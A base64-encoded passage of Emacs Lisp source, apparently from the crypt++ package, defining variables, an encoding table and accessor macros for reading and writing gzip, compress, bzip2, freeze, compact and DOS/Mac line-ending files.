dm9jYXRpdmUKOzsgYGNvbXByZXNzaW9uLXR5cGUnIGZpbGUtbmFtZSBleHRlbnNpb24gKHNlZSBE T0NTVFJJTkcgZm9yIHZhcmlhYmxlCjs7IGNyeXB0LWF1dG8td3JpdGUtYnVmZmVyKS4gIFRoZSB2 YXJpYWJsZSBpcyBsb2NhbCB0byBhbGwgYnVmZmVycyB3aXRoIGEKOzsgZGVmYXVsdCB2YWx1ZSBv ZiAnYXNrIHNvIGlmIHRoZSBzaXR1YXRpb24gZGVzY3JpYmVkIGFib3ZlIGFyaXNlcywgdGhlbiB0 aGUKOzsgcXVlc3Rpb24gaXMgYXNrZWQgYXQgbGVhc3Qgb25jZSwgdW5sZXNzIHRoZSB1c2VyLWRl ZmluZWQgdmFyaWFibGUKOzsgY3J5cHQtYXV0by13cml0ZS1idWZmZXIgaXMgbm9uLW5pbC4KKGRl ZnZhciBjcnlwdC1hdXRvLXdyaXRlLWFuc3dlci1sb2NhbCAnYXNrKQoobWFrZS12YXJpYWJsZS1i dWZmZXItbG9jYWwgJ2NyeXB0LWF1dG8td3JpdGUtYW5zd2VyLWxvY2FsKQooc2V0cS1kZWZhdWx0 IGNyeXB0LWF1dG8td3JpdGUtYW5zd2VyLWxvY2FsICdhc2spCihwdXQgJ2NyeXB0LWF1dG8td3Jp dGUtYW5zd2VyLWxvY2FsICdwZXJtYW5lbnQtbG9jYWwgdCkgOyBmb3IgdjE5IEVtYWNzCihwdXQg J2NyeXB0LWF1dG8td3JpdGUtYW5zd2VyLWxvY2FsICdwcmVzZXJ2ZWQgdCkgICAgICAgOyBmb3Ig a2lsbC1maXguZWwKCihkZWZ2YXIgY3J5cHQtcXVlcnktaWYtaW50ZXJhY3RpdmUgdAogICIqdCBz YXlzIGFzayB3aGVuIHNhdmluZyBidWZmZXJzIHdoZXJlIGBjcnlwdC1lbmNvZGVkLW1vZGUnIHdh cyB0b2dnbGVkLgpuaWwgc2F5cyB0aGF0IGV2ZW4gaWYgZmlsZW5hbWUgZXh0ZW5zaW9uIGlzIHBs YWluIChpLmUuLCBub3QgbGlzdGVkIGluCmBjcnlwdC1lbmNvZGluZy1hbGlzdCcpIGJ1ZmZlciB3 aWxsIGJlIHdyaXR0ZW4gaW4gYW4gZW5jb2RlZCBmb3JtYXQgd2l0aG91dAphc2tpbmcuCgpUaGlz IHZhcmlhYmxlIGlzIGRlc2lnbmVkIGZvciB1c2VycyB0aGF0IGVkaXQgYSBwbGFpbiBmaWxlICh3 aXRoIHBsYWluCmV4dGVuc2lvbikgYW5kIHRoZW4gdG9nZ2xlIGAoY3J5cHQtZW5jb2RlZC1tb2Rl KScgYW5kIGRvIG5vdCB3aXNoIHRvIGJlCnF1ZXJpZWQgZXZlcnkgdGltZSB0aGF0IHRoZXkgc2F2 ZSB0aGUgYnVmZmVyLgoKTk9URTogaWYgYChjcnlwdC1lbmNvZGVkLW1vZGUpJyB3YXMgbm90IGNh bGxlZCBpbnRlcmFjdGl2ZWx5ICh0aGUgdXN1YWwKc2NlbmFyaW8pIHRoZW4gdGhlIHZhbHVlIG9m IHRoaXMgdmFyaWFibGUgaGFzIG5vIGVmZmVjdCBvbiBob3cgdGhlIGJ1ZmZlciBpcwp3cml0dGVu IHRvIGRpc2suICBJbiBzdWNoIGEgY2FzZSBgY3J5cHQtbm8tZXh0ZW5zaW9uLWltcGxpZXMtcGxh aW4nIGlzIHRoZW4KdGhlIHJlbGV2YW50IHZhcmlhYmxlLiIpCgooZGVmdmFyIGNyeXB0LW5vLWV4 dGVuc2lvbi1pbXBsaWVzLXBsYWluIHQKICAiKnQgc2F5cyBmaWxlIGV4dGVuc2lvbnMgbm90IGlu IGBjcnlwdC1lbmNvZGluZy1hbGlzdCcgbWF5IGJlIHdyaXR0ZW4gcGxhaW4uCmlmIGBjcnlwdC1h dXRvLXdyaXRlLWJ1ZmZlcicgaXMgYWxzbyB0IHRoZW4gYW55IGZpbGUgZW5kaW5nIGluIGEgcGxh aW4KZXh0ZW5zaW9uIGlzIHdyaXR0ZW4gaW4gcGxhaW4gZm9ybWF0IGF1dG9tYXRpY2FsbHksIG90 aGVyd2lzZSBxdWVyeSB1c2VyLgoKbmlsIHNheXMgdXNlciB3b3JrcyB3aXRoIGVuY29kZWQgKGNv bXByZXNzZWQpIGZpbGVzIHdpdGhvdXQgZmlsZSBleHRlbnNpb25zCmFuZCB3aWxsIG5vdCBiZSBx dWVyaWVkIGVhY2ggdGltZSB0aGV5IHNhdmUgdGhlc2UgZmlsZXMuCgpOT1RFOiAoMSkgdGhpcyBk b2VzIG5vdCBhZmZlY3QgZmluZC1maWxlIChDLXggQy1mKSBzaW5jZSB0aGF0IHdvcmtzIHdpdGgg YQptYWdpYyByZWdleHAuICAoMikgdGhlcmUgaXMgbm8gd2F5IHRvIGRpc3Rpbmd1aXNoIGJldHdl ZW4gd3JpdGUtZmlsZSBhbmQKc2F2ZS1idWZmZXIgc28gbmlsIHdpbGwgbWVhbiB0aGF0IG5laXRo ZXIgd2lsbCBxdWVyeS4iKQoKKGRlZnZhciBjcnlwdC1mcmVlemUtdnMtZm9ydHJhbiB0CiAgIip0 IHNheXMgYC5GJyBmaWxlIGV4dGVuc2lvbiBkZW5vdGVzIGEgZnJvemVuIGZpbGUgbm90IGEgRm9y dHJhbiBmaWxlLgpJZiB5b3UgY2hhbmdlIHRoaXMgdmFyaWFibGUgYWZ0ZXIgY3J5cHQrKyBoYXMg YmVlbiBsb2FkZWQgdGhlbiBkbwpcXFtjcnlwdC1yZWJ1aWxkLXRhYmxlc10uIikKCihkZWZ2YXIg Y3J5cHQtY29tcGFjdC12cy1DKysgbmlsCiAgIip0IHNheXMgYC5DJyBmaWxlIGV4dGVuc2lvbiBk ZW5vdGVzIGEgY29tcGFjdGVkIGZpbGUgbm90IGEgQysrIGZpbGUuCklmIHlvdSBjaGFuZ2UgdGhp cyB2YXJpYWJsZSBhZnRlciBjcnlwdCsrIGhhcyBiZWVuIGxvYWRlZCB0aGVuIGRvClxcW2NyeXB0 LXJlYnVpbGQtdGFibGVzXS4iKQoKKGRlZnZhciBjcnlwdC1pZ25vcmVkLWZpbGVuYW1lcyBuaWwK ICAiKkxpc3Qgb2YgcmVnZXhwIGZpbGVuYW1lcyBmb3Igd2hpY2ggZW5jb2RlZCB0byBwbGFpbiBj b252ZXJzaW9uIGlzIG5vdCBkb25lLgpBIGZpbGVuYW1lIHdpdGggYSBwbGFpbiBleHRlbnNpb24s IGluIGVuY29kZWQgZm9ybWF0LCB0aGF0IGlzIG1hdGNoZWQgYnkgb25lIG9mCnRoZXNlIGVsZW1l bnRzIHdpbGwgYmUgc2F2ZWQgaW4gZW5jb2RlZCBmb3JtYXQgd2l0aG91dCBhIHF1ZXJ5IGZvciBj b252ZXJzaW9uIHRvCnBsYWluIGZvcm1hdC4KClRoaXMgdmFyaWFibGUgaXMgcHJvdmlkZWQgZm9y IHVzZXJzIHRoYXQgd2FudCB0byBjb21wcmVzcyB0aGVpciBpbmNvbWluZyBtYWlsCmZvciBSTUFJ TCBhbmQgVk0gd2hpY2ggbG9vayBmb3IgZmlsZXMgYFJNQUlMJyBhbmQgYElOQk9YLCcgcmVzcGVj dGl2ZWx5LCB0bwpzdG9yZSBpbmNvbWluZyBtYWlsLiAgRm9yIGV4YW1wbGUsIHRoZSBnemlwIGV4 dGVuc2lvbnMgb24gYFJNQUlMLmd6JyBhbmQKYElOQk9YLmd6JyBjYW4gYmUgcmVtb3ZlZCwgdGhp cyB2YXJpYWJsZSBzZXQgdG8gJ1woXCJJTkJPWCRcIiBcIlJNQUlMJFwiXCkgYW5kCm5vIHF1ZXJ5 IGFib3V0IGNvbnZlcnNpb24gdG8gcGxhaW4gZm9ybWF0IHdpbGwgYmUgbWFkZS4iKQoKKGRlZnZh ciBjcnlwdC1kZWZhdWx0LWVuY29kaW5nICJnemlwIgogICIqRGVmYXVsdCBlbmNvZGluZyB0eXBl IGFzIHN0cmluZyB1c2VkIHdoZW4gYGNyeXB0LWVuY29kZWQtbW9kZScgaXMgdG9nZ2xlZC4KTXVz dCBtYXRjaCBvbmUgb2YgdGhlIGVsZW1lbnRzIG9mIGBjcnlwdC1lbmNvZGluZy1hbGlzdCcuIikK CihkZWZ2YXIgY3J5cHQtZG9zLWhhcy1jdHJsLXogbmlsCiAgInQgaWYgdGhpcyBidWZmZXIgaGFk IGEgY3RybC16IHN0cmlwcGVkIGZyb20gZW5kLCBvdGhlcndpc2UsIG5pbC4KQnVmZmVyIGxvY2Fs IGFuZCBzZXQgYnkgYGNyeXB0LWRvcy10by11bml4LXJlZ2lvbiciKQoobWFrZS12YXJpYWJsZS1i dWZmZXItbG9jYWwgJ2NyeXB0LWRvcy1oYXMtY3RybC16KQooc2V0cS1kZWZhdWx0IGNyeXB0LWRv cy1oYXMtY3RybC16IG5pbCkKKHB1dCAnY3J5cHQtZG9zLWhhcy1jdHJsLXogJ3Blcm1hbmVudC1s b2NhbCB0KSA7IGZvciB2MTkgRW1hY3MKKHB1dCAnY3J5cHQtZG9zLWhhcy1jdHJsLXogJ3ByZXNl cnZlZCB0KSAgICAgICA7IGZvciBraWxsLWZpeC5lbAoKKGRlZnZhciBjcnlwdC1kZWNvZGUtZG9z LXAgdCAiU2F5cyB3aGV0aGVyIHRvIGRlY29kZSBET1MgKFxyXG4pIGZpbGVzLiIpCihkZWZ2YXIg Y3J5cHQtZGVjb2RlLW1hYy1wIHQgIlNheXMgd2hldGhlciB0byBkZWNvZGUgTWFjIChccikgZmls ZXMuIikKCihkZWZ1biBjcnlwdC1idWlsZC1lbmNvZGluZy1hbGlzdCAoKQogIDs7IFJldHVybnMg dGhlIGVuY29kaW5nIGFsaXN0CiAgKGxpc3QKICAgOzsgY29tcHJlc3MKICAgKGxpc3QgJ2NvbXBy ZXNzCiAgICAgICAgICJcMDM3XDIzNSIgbmlsCiAgICAgICAgICJcXChcXC5aXFwpJCIKICAgICAg ICAgImNvbXByZXNzIiAidW5jb21wcmVzcyIKICAgICAgICAgbmlsIG5pbAogICAgICAgICAiQ29t cHJlc3MiCiAgICAgICAgIG5pbAogICAgICAgICB0CiAgICAgICAgIG5pbCkKICAgOzsgZ3ppcCAo R05VIHppcCwgaHR0cDovL3d3dy5nemlwLm9yZykKICAgKGxpc3QgJ2d6aXAKICAgICAgICAgIlww MzdcMjEzIiBuaWwKICAgICAgICAgIlxcKFxcLmc/elxcKSQiCiAgICAgICAgICJnemlwIiAiZ3pp cCIKICAgICAgICAgIi0tcXVpZXQiICItLWRlY29tcHJlc3MgLS1xdWlldCIKICAgICAgICAgIkd6 aXAiCiAgICAgICAgIG5pbAogICAgICAgICB0CiAgICAgICAgIG5pbCkKICAgOzsgYnppcAogICAo bGlzdCAnYnppcAogICAgICAgICAiQlowIiBuaWwKICAgICAgICAgIlxcKFxcLmJ6XFwpJCIKICAg ICAgICAgImJ6aXAiICJiemlwIgogICAgICAgICAiIiAiLS1kZWNvbXByZXNzIgogICAgICAgICAi QnppcCIKICAgICAgICAgbmlsCiAgICAgICAgIHQKICAgICAgICAgbmlsKQogICA7OyBiemlwMiAo YmxvY2stc29ydGluZywgaHR0cDovL3d3dy5kaWdpc3Rhci5jb20vYnppcDIvKQogICAobGlzdCAn YnppcDIKICAgICAgICAgIkJaaCIgbmlsCiAgICAgICAgICJcXChcXC5iejJcXCkkIgogICAgICAg ICAiYnppcDIiICJiemlwMiIKICAgICAgICAgIiIgIi0tZGVjb21wcmVzcyIKICAgICAgICAgIkJ6 aXAyIgogICAgICAgICBuaWwKICAgICAgICAgdAoJIG5pbCkKICAgOzsgZnJlZXplCiAgIChsaXN0 ICdmcmVlemUKICAgICAgICAgIlwwMzdcMjM2XFx8XDAzN1wyMzciIG5pbAogICAgICAgICAiXFwo XFwuRlxcKSQiCiAgICAgICAgICJmcmVlemUiICJmcmVlemUiCiAgICAgICAgICIiICItZCIKICAg ICAgICAgIkZyZWV6ZSIKICAgICAgICAgbmlsCiAgICAgICAgIGNyeXB0LWZyZWV6ZS12cy1mb3J0 cmFuCgkgbmlsKQogICA7OyBjb21wYWN0CiAgIChsaXN0ICdjb21wYWN0CiAgICAgICAgICJcMzc3 XDAzNyIgbmlsCiAgICAgICAgICJcXChcXC5DXFwpJCIKICAgICAgICAgImNvbXBhY3QiICJ1bmNv bXBhY3QiCiAgICAgICAgIG5pbCBuaWwKICAgICAgICAgIkNvbXBhY3QiCiAgICAgICAgICJeQ29t cHJlc3Npb24gKjouKlxuIgogICAgICAgICBjcnlwdC1jb21wYWN0LXZzLUMrKwoJIG5pbCkKICAg OzsgRE9TIChjcmxmKQogICAoYW5kIGNyeXB0LWRlY29kZS1kb3MtcCAobGlzdCAnZG9zCiAgICAg ICAgICJbXlxuXHJdKlxyXG4iIG5pbAogICAgICAgICAiXFwoXFwuRE9TXFwpJCIKICAgICAgICAg J2NyeXB0LXVuaXgtdG8tZG9zLXJlZ2lvbiAnY3J5cHQtZG9zLXRvLXVuaXgtcmVnaW9uCiAgICAg ICAgIG5pbCBuaWwKICAgICAgICAgIkRvcyIKICAgICAgICAgbmlsCiAgICAgICAgIG5pbAogICAg ICAgICBuaWwpKQogICAgOzsgTWFjIChjcikKICAgIChhbmQgY3J5cHQtZGVjb2RlLW1hYy1wIChs aXN0ICdtYWMKICAgICAgICAgICJbIC1+XSpcclsgLX5dIiBuaWwKICAgICAgICAgICJcXChcXC5N QUNcXCkkIgogICAgICAgICAgJ2NyeXB0LXVuaXgtdG8tbWFjLXJlZ2lvbiAnY3J5cHQtbWFjLXRv LXVuaXgtcmVnaW9uCiAgICAgICAgICBuaWwgbmlsCiAgICAgICAgICAiTWFjIgogICAgICAgICAg bmlsCiAgICAgICAgICBuaWwKICAgICAgICAgIG5pbCkpCiAgICkKKQoKKGRlZmNvbnN0IGNyeXB0 LWVuY29kaW5nLWFsaXN0IChjcnlwdC1idWlsZC1lbmNvZGluZy1hbGlzdCkKICAiTGlzdCBvZiBl bGVtZW50cyBkZXNjcmliaW5nIHRoZSBlbmNvZGluZyBtZXRob2RzIGF2YWlsYWJsZS4KZWFjaCBl bGVtZW50IGxvb2tzIGxpa2UKICAgICAgICBcKEVOQ09ESU5HLVRZUEUKICAgICAgICAgIE1BR0lD LVJFR0VYUCBNQUdJQy1SRUdFWFAtSU5WRVJTRQogICAgICAgICAgRklMRS1FWFRFTlNJT04KICAg ICAgICAgIEVOQ09ERS1QUk9HUkFNIERFQ09ERS1QUk9HUkFNCiAgICAgICAgICBFTkNPREUtQVJH UyBERUNPREUtQVJHUwogICAgICAgICAgTUlOT1ItTU9ERQogICAgICAgICAgR0FSQkFHRS1SRUdF WFAtT1ItTElTUEVYUAogICAgICAgICAgRklMRS1FWFRFTlNJT04tVFJJQ0tTCiAgICAgICAgICBF TkNSWVBUSU9OLUtFWS1TVERJTgogICAgICAgICBcKQpFTkNPRElORy1UWVBFIGlzIGEgc3ltYm9s IGRlbm90aW5nIHRoZSBlbmNvZGluZyB0eXBlLiAgQ3VycmVudGx5IGtub3duCmVuY29kaW5ncyBh cmUgKGNvbXByZXNzIGNvbXBhY3QgZnJlZXplIGd6aXApLgoKTUFHSUMtUkVHRVhQIGlzIGEgcmVn ZXhwIHRoYXQgbWF0Y2hlcyB0aGUgbWFnaWMgbnVtYmVyIGF0IHRoZQpiZWdpbm5pbmcgb2YgZmls ZXMgZW5jb2RlZCB3aXRoIEVOQ09ESU5HLVRZUEUuCgpNQUdJQy1SRUdFWFAtSU5WRVJTRSBkdW1t eSB2YXJpYWJsZSBmb3IgY29tcGF0aWJpbGl0eSB3aXRoIGVuY3J5cHRpb24uCgpGSUxFLUVYVEVO U0lPTiBpcyBhIHN0cmluZyBkZW5vdGluZyB0aGUgZmlsZSBleHRlbnNpb24gdXN1YWxseQphcHBl bmRlZCB0aGUgZmlsZW5hbWUgb2YgZmlsZXMgZW5jb2RlZCB3aXRoIEVOQ09ESU5HLVRZUEUuCgpF TkNPREUtUFJPR1JBTSBpcyBhIHN0cmluZyBkZW5vdGluZyB0aGUgbmFtZSBvZiB0aGUgZXhlY3V0 YWJsZSB1c2VkIHRvCmVuY29kZSBmaWxlcy4KCkRFQ09ERS1QUk9HUkFNIGlzIGEgc3RyaW5nIGRl bm90aW5nIHRoZSBuYW1lIG9mIHRoZSBleGVjdXRhYmxlIHVzZWQgdG8KZGVjb2RlIGZpbGVzLgoK RU5DT0RFLUFSR1MgYXJndW1lbnRzIHRvIGJlIHBhc3NlZCB0byBFTkNPREUtUFJPR1JBTSBtYXkg YmUgYSBzdHJpbmcgb3IgYQpsaXN0IG9mIHN0cmluZ3Mgb3IgbmlsLgoKREVDT0RFLUFSR1MgYXJn dW1lbnRzIHRvIGJlIHBhc3NlZCB0byBERUNPREUtUFJPR1JBTSBtYXkgYmUgYSBzdHJpbmcgb3Ig YQpsaXN0IG9mIHN0cmluZ3Mgb3IgbmlsLgoKTUlOT1ItTU9ERSBpcyBhIHN0cmluZyBkZW5vdGlu ZyB0aGUgbmFtZSBmb3IgdGhlIGVuY29kZWQgbWlub3IgbW9kZSBhcwppdCB3aWxsIGFwcGVhciBp biB0aGUgbW9kZSBsaW5lLgoKR0FSQkFHRS1SRUdFWFAtT1ItTElTUEVYUCBpcyAoMSkgYSByZWdl eHAgdGhhdCBtYXRjaGVzIGFueSBleHRyYW5lb3VzIHRleHQKdGhhdCBpcyBwcm9kdWNlZCBieSB0 aGUgRU5DT0RFLUNPTU1BTkQgaW5jbHVkaW5nIGFueSBuZXdsaW5lcyBhbmQgd2lsbCBiZQpyZW1v dmVkIGZyb20gdGhlIGJ1ZmZlciBiZWZvcmUgc2F2aW5nIHRvIGRpc2s7ICgyKSBhIGxpc3AgZXhw cmVzc2lvbiB0aGF0IHdpbGwKY2xlYW4gdXAgZXh0cmFuZW91cyBtYXRlcmlhbCBpbiB0aGUgYnVm ZmVyIG9yIG5pbC4gIFRoaXMgaXMgbm9ybWFsbHkgbm90Cm5lZWRlZCBidXQgY2FuIGJlIGRlcml2 ZWQgZm9yIGFueSBFTkNPREUtQ09NTUFORCBieSBjaGVja2luZyB0aGUgc3RhbmRhcmQKZXJyb3Ig dGhhdCByZXN1bHRzIGZyb20gYHNoIC1jIFwiY2F0IGZvbyB8IEVOQ09ERS1DT01NQU5EID4gYmFy XCInLgoKRklMRS1FWFRFTlNJT04tVFJJQ0tTIGlzIHQgb3IgbmlsIGRlcGVuZGluZyBvbiB3aGV0 aGVyIG9yIG5vdCB0cmlja3MKY29udmVydGluZyBiZXR3ZWVuIGRpZmZlcmVudCBlbmNvZGluZyB0 eXBlcyBjYW4gYmUgZG9uZSBiYXNlZCBvbgpGSUxFLUVYVEVOU0lPTjsgdHlwaWNhbGx5IHQuCgpF TkNSWVBUSU9OLUtFWS1TVERJTiBpcyBhIGR1bW15IHZhcmlhYmxlIGZvciBjb21wYXRpYmlsaXR5 IHdpdGggZW5jcnlwdGlvbi4KIikKCgwKOzs7IFRoaXMgYWxsb3dzIHRoZSB1c2VyIHRvIGFsdGVy IGNvbnRlbnRzIG9mIHRoZSBlbmNvZGluZyBhbmQgZW5jcnlwdGlvbgo7OzsgdGFibGUgdmFyaWFi bGVzIHdpdGhvdXQgaGF2aW5nIHRvIHJlbG9hZCBhbGwgb2YgY3J5cHQrKy4KKGRlZnVuIGNyeXB0 LXJlYnVpbGQtdGFibGVzICgpCiAgIlJlYnVpbGRzIHRoZSBlbmNyeXB0aW9uIGFuZCBlbmNvZGlu ZyB0YWJsZXMgYW5kIGBtaW5vci1tb2RlLWFsaXN0Jy4KQWxsb3dzIHVzZXIgdG8gYWx0ZXIgdmFy aWFibGVzIHVzZWQgaW4gYnVpbGRpbmcgdGhlc2UgdGFibGVzLiAgTWF5IGJlIGNhbGxlZAppbnRl cmFjdGl2ZWx5IG9yIGluIGFuIGluaXRpYWxpemF0aW9uIGZpbGUuICBQYXJ0IG9mIGBhZnRlci1p bml0LWhvb2snLiIKICAoaW50ZXJhY3RpdmUpCiAgKHNldHEgY3J5cHQtZW5jcnlwdGlvbi1hbGlz dCAoY3J5cHQtYnVpbGQtZW5jcnlwdGlvbi1hbGlzdCkKICAgICAgICBjcnlwdC1lbmNvZGluZy1h bGlzdCAoY3J5cHQtYnVpbGQtZW5jb2RpbmctYWxpc3QpKQogIChjcnlwdC1yZWJ1aWxkLW1pbm9y LW1vZGVzLWFsaXN0KSkKCgwKOzs7IEJ1ZmZlciBsb2NhbHMuCgooZGVmdmFyIGNyeXB0LWJ1ZmZl ci1zYXZlLWVuY3J5cHRlZCBuaWwKICAiKm5vbi1uaWwgc2F5cyBzYXZlIGJ1ZmZlciBlbmNyeXB0 ZWQgd2l0aCBgY3J5cHQtZW5jcnlwdGlvbi10eXBlLicKbG9jYWwgdG8gYWxsIGJ1ZmZlcnMuIikK KG1ha2UtdmFyaWFibGUtYnVmZmVyLWxvY2FsICdjcnlwdC1idWZmZXItc2F2ZS1lbmNyeXB0ZWQp CihwdXQgJ2NyeXB0LWJ1ZmZlci1zYXZlLWVuY3J5cHRlZCAncGVybWFuZW50LWxvY2FsIHQpIDsg Zm9yIHYxOSBFbWFjcwoocHV0ICdjcnlwdC1idWZmZXItc2F2ZS1lbmNyeXB0ZWQgJ3ByZXNlcnZl ZCB0KSAgICAgICA7IGZvciBraWxsLWZpeC5lbAoKKGRlZnZhciBjcnlwdC1idWZmZXItZW5jcnlw dGlvbi1rZXkgbmlsCiAgIipLZXkgdXNlZCBmb3IgZW5jcnlwdGlvbiBvZiBjdXJyZW50IGJ1ZmZl ci4gIExvY2FsIHRvIGFsbCBidWZmZXJzLiIpCihtYWtlLXZhcmlhYmxlLWJ1ZmZlci1sb2NhbCAn Y3J5cHQtYnVmZmVyLWVuY3J5cHRpb24ta2V5KQoocHV0ICdjcnlwdC1idWZmZXItZW5jcnlwdGlv bi1rZXkgJ3Blcm1hbmVudC1sb2NhbCB0KSA7IGZvciB2MTkgRW1hY3MKKHB1dCAnY3J5cHQtYnVm ZmVyLWVuY3J5cHRpb24ta2V5ICdwcmVzZXJ2ZWQgdCkgICAgICAgOyBmb3Iga2lsbC1maXguZWwK CihkZWZ2YXIgY3J5cHQtYnVmZmVyLXNhdmUtZW5jb2RlZCBuaWwKICAiKm5vbi1uaWwgc2F5cyBi dWZmZXIgd2lsbCBiZSBzYXZlZCBlbmNvZGVkLiAgTG9jYWwgdG8gYWxsIGJ1ZmZlcnMuIikKKG1h a2UtdmFyaWFibGUtYnVmZmVyLWxvY2FsICdjcnlwdC1idWZmZXItc2F2ZS1lbmNvZGVkKQoocHV0 ICdjcnlwdC1idWZmZXItc2F2ZS1lbmNvZGVkICdwZXJtYW5lbnQtbG9jYWwgdCkgICA7IGZvciB2 MTkgRW1hY3MKKHB1dCAnY3J5cHQtYnVmZmVyLXNhdmUtZW5jb2RlZCAncHJlc2VydmVkIHQpICAg ICAgICAgOyBmb3Iga2lsbC1maXguZWwKCihkZWZ2YXIgY3J5cHQtYnVmZmVyLWVuY29kaW5nLXR5 cGUgbmlsCiAgIipub24tbmlsIHNheXMgYnVmZmVyIGlzIGVuY29kZWQgd2l0aCBFTkNPRElORy1U WVBFLiAgTG9jYWwgdG8gYWxsIGJ1ZmZlcnMuIikKKG1ha2UtdmFyaWFibGUtYnVmZmVyLWxvY2Fs ICdjcnlwdC1idWZmZXItZW5jb2RpbmctdHlwZSkKKHB1dCAnY3J5cHQtYnVmZmVyLWVuY29kaW5n LXR5cGUgJ3Blcm1hbmVudC1sb2NhbCB0KSAgOyBmb3IgdjE5IEVtYWNzCihwdXQgJ2NyeXB0LWJ1 ZmZlci1lbmNvZGluZy10eXBlICdwcmVzZXJ2ZWQgdCkgICAgICAgIDsgZm9yIGtpbGwtZml4LmVs CgooZGVmdmFyIGNyeXB0LWJ1ZmZlci1pbnRlcmFjdGl2ZS1lbmNvZGVkLW1vZGUgbmlsCiAgInQg c2F5cyBgY3J5cHQtZW5jb2RlZC1tb2RlJyB3YXMgdG9nZ2xlZCBpbnRlcmFjdGl2ZWx5LCBhbG1v c3QgYWx3YXlzIG5pbC4KTG9jYWwgdG8gYWxsIGJ1ZmZlcnMuIikKKG1ha2UtdmFyaWFibGUtYnVm ZmVyLWxvY2FsICdjcnlwdC1idWZmZXItaW50ZXJhY3RpdmUtZW5jb2RlZC1tb2RlKQoocHV0ICdj cnlwdC1idWZmZXItaW50ZXJhY3RpdmUtZW5jb2RlZC1tb2RlICdwZXJtYW5lbnQtbG9jYWwgdCkg OyB2MTkgRW1hY3MKKHB1dCAnY3J5cHQtYnVmZmVyLWludGVyYWN0aXZlLWVuY29kZWQtbW9kZSAn cHJlc2VydmVkIHQpICAgICAgIDsga2lsbC1maXguZWwKCgwKOzs7IEZ1bmN0aW9ucyBhbmQgbWFj cm9zIHRoYXQgc2VhcmNoIGBjcnlwdC1lbmNyeXB0aW9uLWFsaXN0JyBhbmQKOzs7IGBjcnlwdC1l bmNvZGluZy1hbGlzdCcuCgooZGVmdW4gY3J5cHQtZ2V0LWFsaXN0LW1lbWJlciAodHlwZSBuKQog IDs7IFJldHVybnMgVFlQRSdzIE50aCBlbGVtZW50CiAgKG50aCBuIChvciAoYXNzb2MgdHlwZSBj cnlwdC1lbmNyeXB0aW9uLWFsaXN0KQogICAgICAgICAgICAgKGFzc29jIHR5cGUgY3J5cHQtZW5j b2RpbmctYWxpc3QpKSkpCgooZGVmbWFjcm8gY3J5cHQtZ2V0LW1hZ2ljLXJlZ2V4cCAodHlwZSkK ICA7OyBSZXR1cm5zIHJlZ2V4cCBmb3VuZCBhdCB0b3Agb2YgZmlsZXMgZW5jb2RlZC9lbmNyeXB0 ZWQgd2l0aCBUWVBFLgogIChsaXN0ICdjcnlwdC1nZXQtYWxpc3QtbWVtYmVyIHR5cGUgMSkpCgoo ZGVmbWFjcm8gY3J5cHQtZ2V0LW1hZ2ljLXJlZ2V4cC1pbnZlcnNlICh0eXBlKQogIDs7IFJldHVy bnMgcmVnZXhwICpub3QqIGZvdW5kIGF0IHRvcCBvZiBmaWxlcyBlbmNvZGVkL2VuY3J5cHRlZCB3 aXRoIFRZUEUuCiAgKGxpc3QgJ2NyeXB0LWdldC1hbGlzdC1tZW1iZXIgdHlwZSAyKSkKCihkZWZt YWNybyBjcnlwdC1nZXQtZmlsZS1leHRlbnNpb24gKHR5cGUpCiAgOzsgUmV0dXJucyByZWdleHAg bWF0Y2hpbmcgZXh0ZW5zaW9uIG9mIGZpbGVzIGVuY29kZWQvZW5jcnlwdGVkIHdpdGggVFlQRS4K ICAobGlzdCAnY3J5cHQtZ2V0LWFsaXN0LW1lbWJlciB0eXBlIDMpKQoKKGRlZm1hY3JvIGNyeXB0 LWdldC1lbmNvZGluZy1wcm9ncmFtICh0eXBlKQogIDs7IFJldHVybnMgbmFtZSBvZiBwcm9ncmFt LCBhcyBzdHJpbmcsIHVzZWQgdG8gZW5jb2RlL2VuY3J5cHQgd2l0aCBUWVBFLgogIChsaXN0ICdj cnlwdC1nZXQtYWxpc3QtbWVtYmVyIHR5cGUgNCkpCgooZGVmbWFjcm8gY3J5cHQtZ2V0LWRlY29k aW5nLXByb2dyYW0gKHR5cGUpCiAgOzsgUmV0dXJucyBuYW1lIG9mIHByb2dyYW0sIGFzIHN0cmlu ZywgdXNlZCB0byBkZWNvZGUvZGVjcnlwdCB3aXRoIFRZUEUuCiAgKGxpc3QgJ2NyeXB0LWdldC1h bGlzdC1tZW1iZXIgdHlwZSA1KSkKCihkZWZtYWNybyBjcnlwdC1nZXQtZW5jb2RpbmctYXJncyAo dHlwZSkKICA7OyBSZXR1cm5zIGFyZ3VtZW50cyBwYXNzZWQgdG8gcHJvZ3JhbSB1c2VkIHRvIGVu Y29kZS9lbmNyeXB0IHdpdGggVFlQRS4KICAobGlzdCAnY3J5cHQtZ2V0LWFsaXN0LW1lbWJlciB0 eXBlIDYpKQoKKGRlZm1hY3JvIGNyeXB0LWdldC1kZWNvZGluZy1hcmdzICh0eXBlKQogIDs7IFJl dHVybnMgYXJndW1lbnRzIHBhc3NlZCB0byBwcm9ncmFtIHVzZWQgdG8gZGVjb2RlL2RlY3J5cHQg d2l0aCBUWVBFLgogIChsaXN0ICdjcnlwdC1nZXQtYWxpc3QtbWVtYmVyIHR5cGUgNykpCgooZGVm bWFjcm8gY3J5cHQtZ2V0LW1pbm9yLW1vZGUtbmFtZSAodHlwZSkKICA7OyBSZXR1cm5zIG1pbm9y IG1vZGUgbmFtZSwgYXMgc3RyaW5nLCBmb3IgZW5jb2RpbmcvZW5jcnlwdGluZyB3aXRoIFRZUEUu CiAgKGxpc3QgJ2NyeXB0LWdldC1hbGlzdC1tZW1iZXIgdHlwZSA4KSkKCihkZWZtYWNybyBjcnlw dC1nZXQtY2xlYW51cC1yZWdleHAgKHR5cGUpCiAgOzsgUmV0dXJucyByZWdleHAgb3IgbGlzcC1l eHAgZm9yIGNsZWFuaW5nIHVwIGVuY29kaW5nL2VuY3J5cHRpbmcgd2l0aCBUWVBFLgogIChsaXN0 ICdjcnlwdC1nZXQtYWxpc3QtbWVtYmVyIHR5cGUgOSkpCgooZGVmbWFjcm8gY3J5cHQtZ2V0LWV4 dGVuc2lvbi10cmlja3MgKHR5cGUpCiAgOzsgUmV0dXJucyB0IGlmIGZpbGUgZXh0ZW5zaW9uIHRy aWNrcyBkb2FibGUgZm9yIGVuY29kaW5nL2VuY3J5cHRpbmcgd2l0aAogIDs7IFRZUEUuCiAgKGxp c3QgJ2NyeXB0LWdldC1hbGlzdC1tZW1iZXIgdHlwZSAxMCkpCgooZGVmbWFjcm8gY3J5cHQtZ2V0 